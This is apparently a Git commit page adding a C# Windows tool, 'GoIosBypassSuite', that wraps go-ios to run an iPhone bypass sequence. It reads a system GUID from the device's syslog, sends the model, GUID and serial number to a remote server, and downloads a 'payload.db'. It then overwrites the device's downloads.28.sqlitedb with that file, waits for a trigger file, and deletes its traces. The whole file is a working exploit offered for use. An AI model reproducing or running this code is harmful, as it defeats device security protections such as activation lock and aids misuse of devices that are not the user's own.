Selaa lähdekoodia

Add Windows C# Version

rhcp011235 2 kuukautta sitten
vanhempi
sitoutus
d1bbe1d3d5
1 muutettua tiedostoa jossa 441 lisäystä ja 0 poistoa
  1. 441 0
      client_windows.cs

+ 441 - 0
client_windows.cs

@@ -0,0 +1,441 @@
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Net.Http;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Collections.Generic;
+
+namespace GoIosBypassSuite
+{
+    // Data models for parsing go-ios JSON output
+    public class GoIosDevice
+    {
+        public string Udid { get; set; }
+        public string DeviceName { get; set; }
+        public string ProductVersion { get; set; }
+        public string ProductType { get; set; }
+        public string HardwareModel { get; set; }
+        // go-ios returns "DeviceValues" or similar keys depending on version
+        public Dictionary<string, object> DeviceValues { get; set; }
+    }
+
+    class Program
+    {
+        // ==========================================
+        // CONFIGURATION
+        // ==========================================
+        private const string TOOL_EXEC = "iOS.exe"; // Your precompiled go-ios executable
+        private const string REMOTE_API = "https://albert.ip-info.me/files/get.php";
+        private const int TRIGGER_TIMEOUT = 300;
+        
+        // ==========================================
+        // STATE
+        // ==========================================
+        private static readonly HttpClient _httpClient = new HttpClient();
+        private static GoIosDevice _targetDevice;
+        private static Process _tunnelProcess;
+
+        static async Task Main(string[] args)
+        {
+            Console.Title = "Go-iOS Windows Bypass Wrapper";
+            PrintBanner();
+
+            try
+            {
+                // 1. Environment & Security
+                CheckEnvironment();
+                
+                // 2. Device Handshake
+                Console.WriteLine("[*] Waiting for device...");
+                _targetDevice = await WaitForDevice(30);
+                PrintDeviceInfo(_targetDevice);
+
+                // 3. Start Tunnel (Crucial for Windows support)
+                StartTunnelDaemon();
+
+                Console.WriteLine("\n[!] Press ENTER to begin the sequence...");
+                Console.ReadLine();
+
+                // 4. Main Sequence
+                await RunSequence();
+            }
+            catch (Exception ex)
+            {
+                Log.Error($"Fatal: {ex.Message}");
+            }
+            finally
+            {
+                CleanupTunnel();
+                Console.WriteLine("[*] Process terminated. Press any key to exit.");
+                Console.ReadKey();
+            }
+        }
+
+        private static async Task RunSequence()
+        {
+            // STEP 1: Reboot
+            Log.Header("Phase 1: Initial Reset");
+            RunGoIosCommand("reboot");
+            await WaitForDeviceReconnection(120);
+
+            // STEP 2: Syslog & GUID
+            Log.Header("Phase 2: Identity Token Extraction");
+            string guid = await ExtractGuidFromSyslog();
+            Log.Success($"Target GUID: {guid}");
+
+            // STEP 3: API Handshake
+            Log.Header("Phase 3: Server Authorization");
+            string downloadUrl = await GetPayloadUrl(_targetDevice.ProductType, guid, GetSerialNumber(_targetDevice));
+            Log.Info($"Payload URL: {downloadUrl}");
+
+            // STEP 4: Download Payload
+            Log.Header("Phase 4: Payload Acquisition");
+            string localFile = "payload.db";
+            await DownloadFile(downloadUrl, localFile);
+
+            // STEP 5: Cleanup Old Files
+            Log.Header("Phase 5: Artifact Sanitation");
+            RemoveRemoteFile("/Downloads/downloads.28.sqlitedb");
+            RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-shm");
+            RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-wal");
+
+            // STEP 6: Injection
+            Log.Header("Phase 6: Payload Injection");
+            PushFile(localFile, "/Downloads/downloads.28.sqlitedb");
+            File.Delete(localFile); // Clean local temp
+
+            // STEP 7: Reboot
+            Log.Header("Phase 7: Application Reboot");
+            RunGoIosCommand("reboot");
+            await WaitForDeviceReconnection(300);
+
+            // STEP 8: Metadata Check
+            Log.Header("Phase 8: Verifying iTunes Metadata");
+            if (!await WaitForRemoteFile("/iTunes_Control/iTunes/iTunesMetadata.plist", 30))
+            {
+                Log.Warn("Metadata file missing, continuing riskily...");
+            }
+
+            // STEP 9: Final Trigger Sequence
+            Log.Header("Phase 9: Trigger Monitor");
+            RunGoIosCommand("reboot");
+            await WaitForDeviceReconnection(300);
+
+            Log.Info("Waiting for trigger asset (asset.epub)...");
+            if (await WaitForRemoteFile("/Books/asset.epub", TRIGGER_TIMEOUT))
+            {
+                Log.Success("Trigger detected! Finalizing...");
+                
+                // Wait for metadata to vanish
+                await WaitForRemoteFileDisappearance("/iTunes_Control/iTunes/iTunesMetadata.plist", 300);
+                
+                // Delete trigger
+                RemoveRemoteFile("/Books/asset.epub");
+                
+                // Cleanup downloads
+                RemoveRemoteFile("/Downloads/downloads.28.sqlitedb");
+                RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-shm");
+                RemoveRemoteFile("/Downloads/downloads.28.sqlitedb-wal");
+
+                // Final Reboot
+                RunGoIosCommand("reboot");
+                Log.Success("Sequence Complete.");
+            }
+            else
+            {
+                Log.Error("Trigger timeout. Sequence failed.");
+            }
+        }
+
+        // ==========================================
+        // GO-IOS WRAPPERS
+        // ==========================================
+
+        private static void StartTunnelDaemon()
+        {
+            Log.Info("Starting iOS Tunnel Daemon...");
+            try
+            {
+                // go-ios tunnel command - runs in background
+                var startInfo = new ProcessStartInfo
+                {
+                    FileName = TOOL_EXEC,
+                    Arguments = "tunnel start",
+                    UseShellExecute = false,
+                    CreateNoWindow = true,
+                    RedirectStandardOutput = true,
+                    RedirectStandardError = true
+                };
+
+                _tunnelProcess = Process.Start(startInfo);
+                Thread.Sleep(3000); // Give it time to initialize
+
+                if (_tunnelProcess.HasExited)
+                {
+                    string err = _tunnelProcess.StandardError.ReadToEnd();
+                    throw new Exception($"Tunnel failed to start: {err}");
+                }
+                Log.Success("Tunnel active.");
+            }
+            catch (Exception ex)
+            {
+                throw new Exception($"Could not create tunnel: {ex.Message}");
+            }
+        }
+
+        private static void CleanupTunnel()
+        {
+            if (_tunnelProcess != null && !_tunnelProcess.HasExited)
+            {
+                try { _tunnelProcess.Kill(); } catch { }
+            }
+        }
+
+        private static string RunGoIosCommand(string args, bool returnJson = false)
+        {
+            // Append --nojson if we specifically DON'T want json, 
+            // but go-ios defaults to JSON usually. 
+            // We will rely on the tool's default behavior.
+            
+            var psi = new ProcessStartInfo
+            {
+                FileName = TOOL_EXEC,
+                Arguments = args,
+                RedirectStandardOutput = true,
+                RedirectStandardError = true,
+                UseShellExecute = false,
+                CreateNoWindow = true
+            };
+
+            using (var p = Process.Start(psi))
+            {
+                string output = p.StandardOutput.ReadToEnd();
+                string error = p.StandardError.ReadToEnd();
+                p.WaitForExit();
+
+                if (p.ExitCode != 0 && !string.IsNullOrEmpty(error))
+                {
+                    // Some commands write to stderr but succeed, basic check
+                    if (!error.Contains("warn", StringComparison.OrdinalIgnoreCase))
+                        Log.Warn($"Command '{args}' error: {error.Trim()}");
+                }
+
+                return output;
+            }
+        }
+
+        private static void PushFile(string localPath, string remotePath)
+        {
+            Log.Detail($"Pushing {localPath} -> {remotePath}");
+            // go-ios fsync push --srcPath=X --dstPath=Y
+            RunGoIosCommand($"fsync push --srcPath=\"{localPath}\" --dstPath=\"{remotePath}\"");
+        }
+
+        private static void RemoveRemoteFile(string remotePath)
+        {
+            Log.Detail($"Deleting {remotePath}");
+            // go-ios fsync rm --path=X
+            RunGoIosCommand($"fsync rm --path=\"{remotePath}\"");
+        }
+
+        private static async Task<bool> WaitForRemoteFile(string remotePath, int timeoutSeconds)
+        {
+            var end = DateTime.Now.AddSeconds(timeoutSeconds);
+            while (DateTime.Now < end)
+            {
+                // Use 'tree' or 'ls' to check existence. 
+                // go-ios fsync tree --path=/Books returns JSON or file list
+                string output = RunGoIosCommand($"fsync tree --path=\"{remotePath}\"");
+                
+                // Check if output contains the filename or valid JSON entry
+                if (!string.IsNullOrWhiteSpace(output) && !output.Contains("no such file") && !output.Contains("error"))
+                    return true;
+
+                await Task.Delay(2000);
+            }
+            return false;
+        }
+
+        private static async Task WaitForRemoteFileDisappearance(string remotePath, int timeoutSeconds)
+        {
+            var end = DateTime.Now.AddSeconds(timeoutSeconds);
+            while (DateTime.Now < end)
+            {
+                string output = RunGoIosCommand($"fsync tree --path=\"{remotePath}\"");
+                // If we get an error or empty result, file is likely gone
+                if (string.IsNullOrWhiteSpace(output) || output.Contains("no such file") || output.Contains("error"))
+                    return;
+                    
+                await Task.Delay(2000);
+            }
+        }
+
+        private static async Task<string> ExtractGuidFromSyslog()
+        {
+            Log.Info("Scanning syslog for BLDatabaseManager...");
+            
+            // We launch syslog and read stream for a fixed time
+            var psi = new ProcessStartInfo
+            {
+                FileName = TOOL_EXEC,
+                Arguments = "syslog",
+                UseShellExecute = false,
+                RedirectStandardOutput = true,
+                CreateNoWindow = true
+            };
+
+            using (var p = Process.Start(psi))
+            {
+                var cts = new CancellationTokenSource();
+                string foundGuid = null;
+                
+                // Read loop
+                Task.Run(async () => 
+                {
+                    string line;
+                    while ((line = await p.StandardOutput.ReadLineAsync()) != null)
+                    {
+                        if (line.Contains("BLDatabaseManager.sqlite"))
+                        {
+                            var match = Regex.Match(line, @"SystemGroup/([A-F0-9\-]{36})");
+                            if (match.Success)
+                            {
+                                foundGuid = match.Groups[1].Value;
+                                cts.Cancel(); // Stop waiting
+                            }
+                        }
+                    }
+                }, cts.Token);
+
+                // Wait max 60 seconds
+                try { await Task.Delay(60000, cts.Token); } catch (TaskCanceledException) { }
+
+                try { p.Kill(); } catch { }
+
+                if (foundGuid == null) throw new Exception("GUID not found in logs.");
+                return foundGuid;
+            }
+        }
+
+        // ==========================================
+        // HELPERS
+        // ==========================================
+
+        private static async Task<GoIosDevice> WaitForDevice(int timeoutSec)
+        {
+            var end = DateTime.Now.AddSeconds(timeoutSec);
+            while (DateTime.Now < end)
+            {
+                string json = RunGoIosCommand("list --details");
+                try
+                {
+                    // go-ios returns a list of devices. 
+                    // Warning: format might be `{"devices": [...]}` or raw array depending on version.
+                    // We assume a simple list or wrapper here. 
+                    // For robustness, we'll try to just grab the first object.
+                    
+                    if (json.Contains("UDID"))
+                    {
+                        // Simple hacky parse if full JSON model fails or is complex
+                        var devices = JsonSerializer.Deserialize<List<GoIosDevice>>(json);
+                        if (devices != null && devices.Count > 0) return devices[0];
+                    }
+                    
+                    // Alternative: sometimes it wraps in a "devices" key
+                     var root = JsonDocument.Parse(json);
+                     if (root.RootElement.TryGetProperty("devices", out var devArray) && devArray.GetArrayLength() > 0)
+                     {
+                         var first = devArray[0];
+                         return new GoIosDevice 
+                         { 
+                             Udid = first.GetProperty("UDID").GetString(),
+                             DeviceName = first.GetProperty("DeviceName").GetString(),
+                             ProductType = first.GetProperty("ProductType").GetString()
+                         };
+                     }
+                }
+                catch { /* Parsing failed, wait */ }
+                
+                await Task.Delay(2000);
+            }
+            throw new Exception("No device detected.");
+        }
+
+        private static async Task WaitForDeviceReconnection(int timeoutSec)
+        {
+            Log.Info("Waiting for reconnection...");
+            await Task.Delay(10000); // Grace period
+            await WaitForDevice(timeoutSec);
+            Log.Success("Device Reconnected.");
+        }
+
+        private static async Task<string> GetPayloadUrl(string model, string guid, string sn)
+        {
+            var url = $"{REMOTE_API}?prd={model}&guid={guid}&sn={sn}";
+            var response = await _httpClient.GetStringAsync(url);
+            return response.Trim();
+        }
+
+        private static async Task DownloadFile(string url, string path)
+        {
+            var data = await _httpClient.GetByteArrayAsync(url);
+            await File.WriteAllBytesAsync(path, data);
+        }
+
+        private static string GetSerialNumber(GoIosDevice device)
+        {
+            // Try parsing the values dictionary if standard property is missing
+            if (device.DeviceValues != null && device.DeviceValues.ContainsKey("SerialNumber"))
+                return device.DeviceValues["SerialNumber"].ToString();
+            
+            // Fallback: run distinct info command if needed, 
+            // but list --details usually has it.
+            return "UNKNOWN_SN"; 
+        }
+
+        private static void CheckEnvironment()
+        {
+            if (!File.Exists(TOOL_EXEC))
+            {
+                throw new FileNotFoundException($"Cannot find {TOOL_EXEC}. Please place it next to this program.");
+            }
+        }
+
+        private static void PrintDeviceInfo(GoIosDevice d)
+        {
+            Log.Info($"Connected: {d.DeviceName} ({d.ProductType})");
+            Log.Info($"UDID: {d.Udid}");
+        }
+
+        private static void PrintBanner()
+        {
+            Console.Clear();
+            Console.ForegroundColor = ConsoleColor.Cyan;
+            Console.WriteLine("--- Go-iOS Windows Wrapper ---");
+            Console.ResetColor();
+            Console.WriteLine();
+        }
+    }
+
+    // Simple Logger
+    static class Log
+    {
+        public static void Info(string m) => Write(ConsoleColor.White, "[*] " + m);
+        public static void Success(string m) => Write(ConsoleColor.Green, "[+] " + m);
+        public static void Warn(string m) => Write(ConsoleColor.Yellow, "[!] " + m);
+        public static void Error(string m) => Write(ConsoleColor.Red, "[-] " + m);
+        public static void Header(string m) { Console.WriteLine(); Write(ConsoleColor.Magenta, "=== " + m + " ==="); }
+        public static void Detail(string m) => Write(ConsoleColor.DarkGray, "    -> " + m);
+
+        private static void Write(ConsoleColor c, string m)
+        {
+            Console.ForegroundColor = c;
+            Console.WriteLine(m);
+            Console.ResetColor();
+        }
+    }
+}